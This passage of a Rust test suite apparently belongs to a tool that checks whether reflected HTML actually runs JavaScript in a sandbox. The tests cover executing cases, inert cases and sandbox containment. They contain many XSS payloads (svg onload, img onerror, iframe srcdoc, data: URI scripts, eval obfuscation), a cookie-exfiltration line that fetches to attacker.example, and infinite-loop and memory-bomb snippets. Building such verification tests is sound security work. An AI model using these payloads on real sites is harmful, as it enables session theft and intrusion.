        let js_escaped = extract_executable_js(r#"<iframe srcdoc="&lt;script&gt;alert(2)&lt;/script&gt;"></iframe>"#);
        assert!(has(&js_escaped, "alert(2)"), "iframe srcdoc HTML-escaped script auto-executes: {js:?}");
    }

    #[test]
    fn extract_data_uri_script_src() {
        let js = extract_executable_js(r#"<script src="data:text/javascript,alert(1)"></script>"#);
        assert!(has(&js, "alert(1)"), "script data: URI src auto-executes: {js:?}");

        let js_b64 = extract_executable_js(r#"<script src="data:text/javascript;base64,YWxlcnQoMik="></script>"#);
        assert!(has(&js_b64, "alert(2)"), "script base64 data: URI src auto-executes: {js:?}");
    }

    // ─────────────── extraction: FALSE-POSITIVE RESISTANCE ───────────────
    // The whole reason for an HTML5-spec parser: a `<script>` that a browser
    // would NOT execute must NOT be extracted.

    #[test]
    fn extract_ignores_script_in_html_comment() {
        let js = extract_executable_js("<!-- <script>alert(1)</script> -->");
        assert!(js.is_empty(), "commented-out script must NOT execute: {js:?}");
    }

    #[test]
    fn extract_ignores_script_in_textarea() {
        let js = extract_executable_js("<textarea><script>alert(1)</script></textarea>");
        assert!(js.is_empty(), "script inside <textarea> is text, not code: {js:?}");
    }

    #[test]
    fn extract_ignores_script_in_title() {
        let js = extract_executable_js("<title><script>alert(1)</script></title>");
        assert!(js.is_empty(), "script inside <title> is text: {js:?}");
    }

    #[test]
    fn extract_ignores_script_text_in_attribute_value() {
        // No breakout: the `<script>` is just the value of an attribute.
        let js = extract_executable_js(r#"<input value="<script>alert(1)</script>">"#);
        assert!(js.is_empty(), "script as an attribute value does not run: {js:?}");
    }

    #[test]
    fn extract_ignores_escaped_markup() {
        let js = extract_executable_js("<p>&lt;script&gt;alert(1)&lt;/script&gt;</p>");
        assert!(js.is_empty(), "HTML-escaped reflection is inert: {js:?}");
    }

    #[test]
    fn extract_ignores_external_script_with_src() {
        // An external <script src> has no inline body to run in-context.
        let js = extract_executable_js(r#"<script src="https://x/app.js"></script>"#);
        assert!(js.is_empty(), "external src script has no inline body: {js:?}");
    }

    #[test]
    fn extract_ignores_non_javascript_script_types() {
        // HTML5 spec § 4.12.1.1: script elements with non-JS MIME types (e.g. text/plain,
        // application/json, importmap) are data blocks and do NOT execute.
        for html in [
            r#"<script type="text/plain">alert(1)</script>"#,
            r#"<script type="application/json">{"x": "alert(1)"}</script>"#,
            r#"<script type="importmap">{"imports": {}}</script>"#,
            r#"<script type="speculationrules">{}</script>"#,
            r#"<script type="text/html"><div>alert(1)</div></script>"#,
            r#"<script type="text/template">alert(1)</script>"#,
        ] {
            let js = extract_executable_js(html);
            assert!(js.is_empty(), "data block script {html:?} must NOT be extracted: {js:?}");
        }
    }

    #[test]
    fn extract_allows_valid_javascript_script_types() {
        for (html, want) in [
            (r#"<script type="text/javascript">alert(1)</script>"#, "alert(1)"),
            (r#"<script type="application/javascript">alert(2)</script>"#, "alert(2)"),
            (r#"<script type="module">alert(3)</script>"#, "alert(3)"),
            (r#"<script type="text/javascript; charset=utf-8">alert(4)</script>"#, "alert(4)"),
            (r#"<script type="">alert(5)</script>"#, "alert(5)"),
        ] {
            let js = extract_executable_js(html);
            assert!(has(&js, want), "valid JS script type {html:?} must be extracted: {js:?}");
        }
    }

    #[test]
    fn extract_excludes_interaction_only_handlers() {
        // onclick / onmouseover need a user action, running them would
        // over-claim "executes", so they are NOT auto-firing.
        let js = extract_executable_js(
            "<div onclick=alert(1)>x</div><a onmouseover=alert(2)>y</a>",
        );
        assert!(js.is_empty(), "interaction handlers must not be auto-extracted: {js:?}");
    }

    #[test]
    fn extract_excludes_anchor_href_javascript() {
        // <a href=javascript:> needs a click (not auto-firing).
        let js = extract_executable_js(r#"<a href="javascript:alert(1)">go</a>"#);
        assert!(js.is_empty(), "anchor javascript: needs a click: {js:?}");
    }

    #[test]
    fn extract_empty_for_plain_text_and_empty() {
        assert!(extract_executable_js("just plain text").is_empty());
        assert!(extract_executable_js("").is_empty());
    }

    // ─────────────────── strip_js_scheme unit ───────────────────

    #[test]
    fn strip_js_scheme_variants() {
        assert_eq!(strip_js_scheme("javascript:alert(1)"), Some("alert(1)"));
        assert_eq!(strip_js_scheme("  JavaScript:alert(1)"), Some("alert(1)"));
        assert_eq!(strip_js_scheme("JAVASCRIPT:x"), Some("x"));
        assert_eq!(strip_js_scheme("https://x/"), None);
        assert_eq!(strip_js_scheme("java"), None, "shorter than scheme");
        assert_eq!(strip_js_scheme("→javascript:x"), None, "multibyte prefix is not the scheme");
    }

    // ─────────────────── proof helper ───────────────────

    #[test]
    fn proves_requires_matching_argument() {
        let p = ExecutionProof {
            executed: true,
            sink: Some("alert".into()),
            message: Some("1".into()),
            fragments_run: 1,
            ..Default::default()
        };
        assert!(p.proves("1"));
        assert!(!p.proves("2"), "argument must match exactly");
        assert!(!ExecutionProof::default().proves("1"), "nothing executed → never proves");
    }
    #[test]
    fn chrome_fallback_sets_error_when_chrome_missing() {
        if !chrome::available() {
            let p = detonate_html_with(Engine::Chrome, "<div><script>alert(1)</script></div>", URL);
            assert!(p.failed_to_run(), "missing chrome must flag failure in proof: {p:?}");
            assert!(p.error.as_deref().unwrap().contains("Chrome engine requested but no Chrome"));
        }
    }

    // ─────────────── live sandbox detonation (end-to-end) ───────────────

    const URL: &str = "https://target.example/reflect";

    #[test]
    fn detonate_proves_alert_one() {
        let p = detonate_html("<div><script>alert(1)</script></div>", URL);
        assert!(p.executed && p.sink.as_deref() == Some("alert") && p.proves("1"), "{p:?}");
    }

    #[test]
    fn detonate_proves_onerror_breakout() {
        let p = detonate_html(r#"<img src=x onerror="alert(1)">"#, URL);
        assert!(p.proves("1"), "{p:?}");
    }

    #[test]
    fn detonate_proves_svg_onload() {
        let p = detonate_html("<svg onload=alert(1)>", URL);
        assert!(p.proves("1"), "{p:?}");
    }
    #[test]
    fn detonate_proves_autofocus_onfocus() {
        let p = detonate_html(r#"<input autofocus onfocus="alert(1)">"#, URL);
        assert!(p.proves("1"), "autofocus onfocus must execute: {p:?}");
    }

    #[test]
    fn detonate_proves_iframe_srcdoc() {
        let p = detonate_html(r#"<iframe srcdoc="<script>alert(1)</script>"></iframe>"#, URL);
        assert!(p.proves("1"), "iframe srcdoc script must execute: {p:?}");
    }

    #[test]
    fn detonate_proves_data_uri_script() {
        let p = detonate_html(r#"<script src="data:text/javascript,alert(1)"></script>"#, URL);
        assert!(p.proves("1"), "data: URI script must execute: {p:?}");
    }

    #[test]
    fn detonate_rejects_escaped_reflection() {
        let p = detonate_html("<div>&lt;script&gt;alert(1)&lt;/script&gt;</div>", URL);
        assert!(!p.executed && !p.proves("1"), "escaped reflection must not execute: {p:?}");
    }

    #[test]
    fn detonate_rejects_commented_script() {
        // The deep false-positive guard: a script the browser would not run.
        let p = detonate_html("<!-- <script>alert(1)</script> -->", URL);
        assert!(!p.executed, "commented script must NOT register as execution: {p:?}");
    }

    #[test]
    fn detonate_rejects_textarea_script() {
        let p = detonate_html("<textarea><script>alert(1)</script></textarea>", URL);
        assert!(!p.executed, "textarea-text script must NOT execute: {p:?}");
    }

    #[test]
    fn detonate_rejects_data_block_script() {
        let p = detonate_html(r#"<script type="text/plain">alert(1)</script>"#, URL);
        assert!(!p.executed, "text/plain script data block must NOT execute: {p:?}");
    }

    #[test]
    fn detonate_rejects_interaction_only_handler() {
        // onclick reflects + would run on click, but does NOT auto-execute,
        // so the oracle must not claim execution.
        let p = detonate_html("<div onclick=alert(1)>x</div>", URL);
        assert!(!p.executed, "interaction-only handler must not auto-prove: {p:?}");
    }

    // ── richer sinks: real-world XSS proof beyond alert(1) ──

    #[test]
    fn detonate_proves_eval_sink() {
        // Indirect execution via eval is a confirmed exploit even though the
        // dialog also fires; the eval sink must be captured.
        let p = detonate_html("<svg onload=eval('aler'+'t(1)')>", URL);
        assert!(p.executed, "{p:?}");
        assert!(
            p.sinks.iter().any(|s| s.kind == "eval"),
            "eval sink must be recorded: {p:?}"
        );
    }

    #[test]
    fn detonate_proves_network_exfil_without_alert() {
        // The real-world XSS shape: no alert at all, exfiltrate the cookie to
        // an attacker host. Execution is proven by the NETWORK sink. This is
        // exactly what alert-only detection would miss.
        let p = detonate_html(
            "<svg onload=fetch('//attacker.example/?c='+document.cookie)>",
            URL,
        );
        assert!(p.executed, "fetch-exfil must prove execution: {p:?}");
        assert!(
            p.sinks.iter().any(|s| s.kind == "network"),
            "network sink must be recorded: {p:?}"
        );
        assert!(
            p.sinks.iter().any(|s| s.detail.contains("attacker.example")),
            "exfil destination must be captured: {p:?}"
        );
    }

    #[test]
    fn detonate_no_sinks_for_inert_reflection() {
        // A reflection that runs no JS reaches no sink → not executed, empty
        // sink list (no false positive).
        let p = detonate_html("<div>plain &lt;script&gt; text</div>", URL);
        assert!(!p.executed);
        assert!(p.sinks.is_empty(), "{p:?}");
    }

    #[test]
    fn every_exec_preserving_vector_executes() {
        // The library's no-rot guarantee: each execution-preserving vector,
        // marker-substituted, must actually fire a dialog sink in the sandbox.
        // A vector that stops executing fails here, it can never silently
        // become a dead entry shipped to the evasion search.
        let mut failures = Vec::new();
        for v in exec_preserving_vectors("1") {
            let p = detonate_html(&v, URL);
            if !(p.executed && p.message.as_deref() == Some("1")) {
                failures.push(format!("{v:?} → {p:?}"));
            }
        }
        assert!(
            failures.is_empty(),
            "{} execution-preserving vector(s) did NOT fire alert(1):\n{}",
            failures.len(),
            failures.join("\n")
        );
    }

    #[test]
    fn exec_preserving_vectors_substitutes_marker() {
        let v = exec_preserving_vectors("document.domain");
        assert!(v.iter().all(|s| !s.contains("{{M}}")), "no placeholder left");
        assert!(v.iter().any(|s| s.contains("alert(document.domain)")));
    }

    #[test]
    fn detonate_reports_fragments_run() {
        // fragments_run reflects how many JS fragments were extracted+run.
        let p = detonate_html("<script>alert(1)</script>", URL);
        assert_eq!(p.fragments_run, 1, "{p:?}");
        let none = detonate_html("<p>nothing</p>", URL);
        assert_eq!(none.fragments_run, 0);
    }

    /// ADVERSARIAL sandbox invariant: hostile JS that never yields
    /// (`while(1){}`) must be contained by the fuel/timeout budget and the
    /// run must report an honest "could not fully evaluate" error, NEVER a
    /// silent `executed:false` that reads as "payload is safe".
    #[test]
    fn jsdet_infinite_loop_is_contained_and_reports_failure() {
        let start = std::time::Instant::now();
        let p = detonate_scripts(&["while(1){}".to_string()], URL);
        let elapsed = start.elapsed();
        assert!(
            p.failed_to_run(),
            "an untraped infinite loop would hang; a trapped one must be loud: {p:?}"
        );
        assert!(!p.executed && !p.proves("1"), "{p:?}");
        assert_eq!(p.fragments_run, 1, "{p:?}");
        assert!(
            elapsed < std::time::Duration::from_secs(60),
            "sandbox containment took too long: {elapsed:?}"
        );
    }

    /// ADVERSARIAL sandbox invariant: an allocation bomb must hit the memory
    /// or fuel cap (trapping honestly) rather than OOM-ing the host process
    /// or returning a silent clean proof.
    #[test]
    fn jsdet_memory_bomb_is_contained_and_reports_failure() {
        let start = std::time::Instant::now();
        let p = detonate_scripts(
            &["var a=[];while(1){a.push(new Array(0x10000).join('x'));}".to_string()],
            URL,
        );
        let elapsed = start.elapsed();
        assert!(p.failed_to_run(), "allocation bomb must trap loudly: {p:?}");
        assert!(!p.executed, "{p:?}");
        assert!(
            elapsed < std::time::Duration::from_secs(60),
            "sandbox containment took too long: {elapsed:?}"
        );
    }

    /// ADVERSARIAL honest-semantics invariant: a payload that fires a sink
    /// and THEN hangs (`alert('1'); while(1){}`) is interrupted by the
    /// sandbox, but the sink was observed BEFORE the interrupt and provably
    /// fired, so the proof keeps it (recall): a timed-out run with a sink is
    /// still a valid execution proof, while a timed-out run with NO sink is
    /// "unknown" (see the infinite-loop test).
    #[test]
    fn jsdet_alert_before_hang_still_proves() {
        let p = detonate_scripts(&["alert('1'); while(1){}".to_string()], URL);
        assert!(
            p.proves("1"),
            "a sink observed before the sandbox interrupt must still prove: {p:?}"
        );
        assert!(!p.failed_to_run(), "{p:?}");
    }
}